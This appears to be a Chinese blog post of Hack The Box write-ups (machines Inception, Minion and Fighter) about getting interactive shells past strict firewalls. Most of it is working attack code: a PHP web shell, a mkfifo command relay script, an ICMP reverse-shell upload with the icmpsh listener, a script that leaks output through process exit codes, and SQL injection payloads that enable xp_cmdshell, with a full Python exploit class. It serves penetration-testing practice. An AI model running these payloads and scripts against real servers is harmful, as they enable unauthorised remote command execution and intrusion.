这篇文章发表于 1695 天前,可能其部分内容已经发生变化,如有疑问可询问作者。
这里记录了三个非常有意思的shell情形,都是防火墙加高情况下突破的情境。以下环境中,可以认为是只有tcp80端口(也就是网站服务)的流量和ICMP流量能够通行。以下骚操作大部分来自于 ippsec 的视频,无比感谢这位无私的外国大哥。
Linux环境下强化shell 在HTB上遇到了一个利用条件非常差的网站(名为Inception
),特此记录。
环境大概是这样的——
网站能上传小马,我先传了一个这玩意,能运行并返回值。
1 2 3 4 <?php echo '<pre>' ; system($_GET ['cmd' ]); ?>
但是像那种蚁剑、冰蝎、菜刀等的流量均会被拦下,而且尝试过直接反弹shell和正向连接shell,均不可行。没有顺手的交互shell,非常棘手。
最终有了办法——将执行后的结果返回到某文件中,再通过shell读取文件——实现方法就是以下一句精髓。
1 mkfifo input;tail -f input|/bin/sh 2>&1 > output
利用这个原理,以下脚本使得体验更加顺滑了一点(代理是为了看得更清楚,可删)。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 import requeststarget='http://10.10.10.67/webdav_test_inception/cmd.php' payload={'cmd' :'rm /var/www/html/webdav_test_inception/input;mkfifo /var/www/html/webdav_test_inception/input;tail -f /var/www/html/webdav_test_inception/input|/bin/sh 2>&1 > /var/www/html/webdav_test_inception/output' } requests.get(target,params=payload) proxies = {"http" : "http://127.0.0.1:8080" } def input_to_target (cmd ): string='echo "">output;echo "' +cmd+'">input' payload1={'cmd' :string} requests.get(target,params=payload1,auth=('webdav_tester' ,'babygurl69' ),proxies=proxies) def output (): target='http://10.10.10.67/webdav_test_inception/cmd.php' payload2={'cmd' :'cat output' } resq=requests.get(target,params=payload2,auth=('webdav_tester' ,'babygurl69' ),proxies=proxies) return resq.text.strip('<pre>' ) while True : cmd = input ('> ' ) try : input_to_target(cmd) print (output()) except : print ('error' )
虽然解决了很多问题,但是有一个问题比较严重,就是类似于这样的命令。
由于要输入密码,而当前交互界面是无法实现www-data
到cobb
用户的转变的,这个命令交互依旧寒碜……
不过还是有办法!!!
利用小马(很奇怪,那个命令行没法echo
写文件,可能是echo
间存在冲突),
1 ?cmd=echo "import pty;pty.spawn('/bin/bash')" >w.py
生成了w.py
文件在当前的文件夹中。
在之前寒碜的命令行中输入python3 w.py
,这个问题也得到了完美解决!然后成功su
,成为了cobb
用户!
Windows环境利用ICMP隧道强化shell 在HTB上遇到了一个利用条件非常差的网站(名为Minion
),特此记录。
环境大概是这样——
网站文件夹在当前权限下无法上传或是写入任何文件,只能够通过一个能够RCE的网页执行受限的命令,而且返回值是命令运行后的退出码。直接反弹shell和正向连接shell,均会被防火墙拦下。电脑可以运行powershell。
这是需要ICMP隧道的典型时刻,这里的两个project是之后需要用到的。
https://github.com/inquisb/icmpsh/blob/master/icmpsh_m.py
https://github.com/samratashok/nishang/blob/master/Shells/Invoke-PowerShellIcmp.ps1
思路上的第一步,需要将Invoke-PowerShellIcmp.ps1
文件传入具有写权限的文件夹中。以下脚本可以完成写入。
1 2 3 4 5 6 #!/bin/bash export IFS=$'\n' for line in $(cat icmp.b64); do powershel="echo ${line} >> C:\Temp\shell.ps1" curl -v -G -X GET 'http://10.10.10.57:62696/test.asp?u=http://127.0.0.1/cmd.aspx' --data-urlencode "xcmd=$powershel " done
但是很显然,直接传输powershell文件会出现恶心人的结果,因为像+
、<
这些特殊符号可能导致意料之外的报错。除了避免出现外,还可以使用base64编码来完成传输。
思路上的第二步,先对Invoke-PowerShellIcmp.ps1
进行base64编码,这里用powershell对其编码,以免出现奇怪的错误。
1 2 3 4 5 6 7 PS /root/HTB/Minion> $shell = Get-Content -Raw ./Invoke-PowerShellIcmp .ps1PS /root/HTB/Minion> $bytes = [System.Text.Encoding ]::Unicode.GetBytes($shell )PS /root/HTB/Minion> $Encoded = [Convert ]::ToBase64String($bytes )PS /root/HTB/Minion> $Decoded = [System.Text.Encoding ]::Unicode.GetString([System.Convert ]::FromBase64String($Encoded ))PS /root/HTB/Minion> $Encoded | Out-File icmp-shell .ps1.b64fold -w 120 icmp-shell .ps1.b64 > icmp.b64 //这命令是为了使传输中格式工整
这样编码还不够,因为写马的时候需要对网页进行请求,而这个会请求两次(看bash脚本),因此,我们需要对base64之后产生的=
和+
进行URL编码,之后再进行传输。
思路上的第三步,传输过去之后,由于文件处于一堆base64的状态,因此需要利用powershell进行解码。
1 2 powershell $encoded =Get-Content C:\Temp\shell.ps1;$Decoded = [System.Text.Encoding ]::Unicode.GetString([System.Convert ]::FromBase64String($encoded )); $Decoded | Out-File C:\Temp\shell0.ps1 powershell $encoded =Get-Content C:\Temp\shell.ps1;$Decoded = [System.Text.Encoding ]::Unicode.GetString([System.Convert ]::FromBase64String($encoded )); $Decoded > C:\Temp\shell0.ps1
最后只要
1 2 sysctl -w net.ipv4.icmp_echo_ignore_all=1 //这条命令在docker里面无法运行,因为需要特权 python icmpsh_m.py {hacker_ip} {victim_ip}
很棒,这样已经成功完成了攻击。在此基础上,有了一些更为简单的脚本,比如下面这两者。
https://github.com/Sayantan5/Minion/blob/master/reverse_icmp.py
https://github.com/Alamot/code-snippets/blob/6b03212bca68e7fae3cd7344eb620eaa350e6604/hacking/HTB/Minion/icmp_alamot.py
没办法,我因为无法令net.ipv4.icmp_echo_ignore_all=1
,另外ICMP隧道在获取两个及以上shell的时候会很搞笑,所以以上方法在最后被我弃用了……
但是还有一个方法!就是利用那个会返回退出码的网页,这里主要有两点支持:1、可将执行后的结果返回到某文件中,再通过shell读取文件;2、畸形的退出码可以携带信息。无比感谢 https://reboare.github.io/hackthebox/minion.html 的文章,虽然他的代码存在小小的问题。修改后如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 import requestsimport sysimport urllib2''' Command Creation ''' def get_cmd_length (command ): cmd = '$command = (Invoke-Command -ScriptBlock {' + command + '} | Out-String).TrimStart().TrimEnd(); $command | Out-File $env:temp/merror.txt -encoding ASCII ;exit $command.length' return cmd def error_exfil (command, output_length ): output_length = int (output_length) for start in range (0 , int (output_length), 4 ): if (output_length - start) < 4 : amount_to_fetch = output_length-start else : amount_to_fetch = "4" run_cmd = '$fs = Get-Content $env:temp/merror.txt -Encoding Byte -ReadCount 0; $bytearray = $fs[{0}..{1}]; $hex = [System.BitConverter]::ToString($bytearray) -replace \'-\',\'\';\ echo $hex; exit ([convert]::ToInt32($hex, 16));' .format (start, int (start)+int (amount_to_fetch)-1 ) yield run_cmd def decode_error (errorval ): val = hex (int (errorval))[2 :] if len (val)%2 !=0 : val = '0' + val return val.decode('hex' ) ''' Command Sending and Receiving ''' def run_on_minion (command ): url = 'http://10.10.10.57:62696' base_url = "/test.asp?u=http://127.0.0.1:80/cmd.aspx?xcmd=" pshell = "powershell -Command \"{0}\"" .format (command) req = requests.get(url+base_url+urllib2.quote(pshell)) result = req.text error_code = [x.split('=' )[1 ] for x in result.split('\n' ) if "Exit Status" in x][0 ] return error_code ''' Main Loop ''' def main (): while True : sys.stdin = open ('/dev/tty' ) cmd = raw_input('PS>' ) len_cmd = get_cmd_length(cmd) length_of_command = run_on_minion(len_cmd) for torun in error_exfil(cmd, length_of_command): errorval = run_on_minion(torun) decodedval = decode_error(errorval) sys.stdout.write(decodedval) sys.stdout.flush() sys.stdout.write('\n' ) sys.stdout.flush() if __name__ == '__main__' : main()
只可惜$lastexitcode
格式存在着限制,需要将信息先hex转换然后再一点点取出来,整个过程非常费时,但想法实在是让人拍掌叫绝。
Windows环境利用MSSQL强化shell 在HTB上遇到了一个利用条件非常差的网站(名为Fighter
),特此记录。
环境大概是这样——
网站文件夹在当前权限下无法上传或是写入任何文件,只能够通过MSSQL语句命令执行,返回值暂无(只验证了能够ping通)。直接反弹shell和正向连接shell,必须通过是攻击机的80和443端口,否则会被防火墙拦下。电脑可以运行powershell,但是需要提供完整的路径。
以下是带回显的攻击语句。我们不难发现,命令执行的结果没法直接显示,所以将其放入了新建的表中,然后在根据行数来输出表中的结果。思路和上面的两种情况有着异曲同工之妙。
1 2 3 4 username=admin&password=admin&logintype=1%3bCREATE+TABLE+eee+(ID+int+IDENTITY(1,1)+PRIMARY+KEY,output+varchar(1024))&rememberme=ON&B1=LogIn username=admin&password=admin&logintype=1%3binsert+into+eee+(output)+exec +Xp_CmDShElL+'ipconfig' %3b--+-&rememberme=ON&B1=LogIn username=admin&password=admin&logintype=1+union+select+1,2,3,4,(select+top+1+ID+from+eee+order+by+ID+desc),6--+-&rememberme=ON&B1=LogIn username=admin&password=admin&logintype=1%3bTRUNCATE+TABLE+eee%3b&rememberme=ON&B1=LogIn
于是可以完成一个利用的脚本。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 import requestsfrom base64 import b64decodefrom urllib.parse import unquoteclass fighter (object ): def __init__ (self,proxies='http://127.0.0.1:8080' ): self.url="http://members.streetfighterclub.htb/old/verify.asp" self.enableXPShell="1;\ EXEC sp_configure 'show advanced options', 1; \ EXEC sp_configure 'xp_cmdshell', 1; \ RECONFIGURE;-- -" self.createtable="1; \ CREATE TABLE eee (\ ID int IDENTITY(1,1) PRIMARY KEY, \ output varchar(1024))" self.truncateTable="1; \ TRUNCATE TABLE eee;" self.getIndex="1 union select 1,2,3,4,(select top 1 ID from eee order by ID desc),6-- -" def makeRequest (self,action ): return requests.post(self.url,allow_redirects=False , data={'username' :'admin' ,'password' :'admi' ,'logintype' :action, 'rememberme' :'ON' ,'B1' :'LogIn' }) def runCMD (self,cmd ): self.makeRequest(self.truncateTable) cmd=cmd.replace("'" ,"''" ) self.makeRequest(f"1;insert into eee (output) exec Xp_CmDShElL '{cmd} ';-- -" ) self.Getoutput() def decodeCookies (self,cookies ): return b64decode(unquote(cookies['Email' ])) def Getoutput (self ): r=self.makeRequest(self.getIndex) count=int (self.decodeCookies(r.cookies)) for x in range (1 ,count+1 ): line=self.makeRequest(f'1 union select 1,2,3,4,(select top 1 output from eee where ID={x} ),6-- -' ) try : output=self.decodeCookies(line.cookies) print (output.decode()) except : None o=fighter() while True : cmd=input ('>SHELL>>' ) o.runCMD(cmd)
就这样,我们只需要网站的80端口就能够拥有较为流畅的体验,就像蚁剑的终端一样。
UCASZ
人生匆忙,文章仓皇。内容如有问题请及时指正,谢谢。